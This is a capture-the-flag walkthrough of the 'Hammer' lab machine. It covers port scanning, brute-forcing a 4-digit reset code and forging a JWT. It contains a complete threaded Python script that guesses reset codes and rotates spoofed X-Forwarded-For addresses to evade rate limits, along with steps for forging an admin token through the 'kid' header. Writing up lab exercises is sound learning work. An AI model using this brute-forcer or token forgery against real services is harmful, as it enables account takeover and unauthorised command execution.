Hammer

Starting with a port scan shows that SSH is open and also a web app running on port 1337.


Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-01 16:49 EDT
Nmap scan report for 10.10.129.55
Host is up (0.045s latency).
Not shown: 65533 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
1337/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 67.39 seconds

I checked the page source on the landing page and found an interesting comment:

I use ffuf to see if we can discover some subdirectories using this information:

The hmr_log directory contains some error logs that gives us an email address ([email protected]). I tried to bruteforce my way in using the email but wasn't able to find the password. Let's exlore the forgot password functionality instead. If we enter our newly found email address we have 3 minutes to find the correct 4 digit code being sent to that email address.

Below is a Python script that will brute force this and find the 4 digit code within the 3 minutes.

#!/usr/bin/env python3
# Use only on authorized CTF targets.

import random
import threading
from concurrent.futures import ThreadPoolExecutor, as_completed
import requests

HOST = input("Target IP/host: ").strip()
PORT = input("Target port [1337]: ").strip() or "1337"
PHPSESSID = input("PHPSESSID cookie: ").strip()
URL = f"http://{HOST}:{PORT}/reset_password.php"
FAIL_MARKER = "Invalid or expired recovery code!"  # adjust if challenge uses different text

stop = threading.Event()

def rand_ip():
    return ".".join(str(random.randint(1, 255)) for _ in range(4))

def try_code(code: str) -> bool:
    if stop.is_set():
        return False
    headers = {
        "User-Agent": "curl/7.XX",
        "Content-Type": "application/x-www-form-urlencoded",
        "Cookie": f"PHPSESSID={PHPSESSID}",
        "X-Forwarded-For": rand_ip()
    }
    data = {"recovery_code": code, "s": "179"}
    try:
        r = requests.post(URL, headers=headers, data=data, timeout=3)
    except requests.RequestException:
        return False
    if FAIL_MARKER not in r.text:
        print(f"[+] Candidate code: {code}")
        stop.set()
        return True
    return False

def main():
    with ThreadPoolExecutor(max_workers=60) as ex:
        futures = {ex.submit(try_code, f"{i:04d}"): i for i in range(10000)}
        try:
            for fut in as_completed(futures):
                if stop.is_set():
                    break
                # propagate exceptions (optional)
                _ = fut.result()
        except KeyboardInterrupt:
            print("[!] Interrupted by user")
            stop.set()

if __name__ == "__main__":
    main()
┌──(kali㉿kali)-[~/Downloads]
└─$ python3 new-otp.py 
Target IP/host: 10.10.72.124
Target port [1337]: 1337
PHPSESSID cookie: 3hhjsqmje6s4k084ohe665n9k8
[+] Candidate code: 8082

Using this code and doing a password reset will get us the first flag.

We're pretty limited in what we can do. We can run 'ls' but not much more.

Looking at the source code however gives us a jwtToken

<script>
$(document).ready(function() {
    $('#submitCommand').click(function() {
        var command = $('#command').val();
        var jwtToken = 'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiIsImtpZCI6Ii92YXIvd3d3L215a2V5LmtleSJ9.eyJpc3MiOiJodHRwOi8vaGFtbWVyLnRobSIsImF1ZCI6Imh0dHA6Ly9oYW1tZXIudGhtIiwiaWF0IjoxNzU3NjIzNjg3LCJleHAiOjE3NTc2MjcyODcsImRhdGEiOnsidXNlcl9pZCI6MSwiZW1haWwiOiJ0ZXN0ZXJAaGFtbWVyLnRobSIsInJvbGUiOiJ1c2VyIn19.DhP-jew4ov3PH-cglj-xCgMPehDLkobMypHF16IYUZg';

        // Make an AJAX call to the server to execute the command
        $.ajax({
            url: 'execute_command.php',
            method: 'POST',
            data: JSON.stringify({ command: command }),
            contentType: 'application/json',
            headers: {
                'Authorization': 'Bearer ' + jwtToken
            },
            success: function(response) {
                $('#commandOutput').text(response.output || response.error);
            },
            error: function() {
                $('#commandOutput').text('Error executing command.');
            }
        });
    });
});
</script>

Decoding this using jwt.io shows us this:

The 'ls' I mentioned earlier showed us that there was a key in that directory called '188ade1.key'. We can generate a new JWT referencing that key in the 'kid' header and changing the 'role' in the payload to admin and try sending a request to cat the root flag (which we got the path to in the task (/home/ubuntu/flag.txt).

Last updated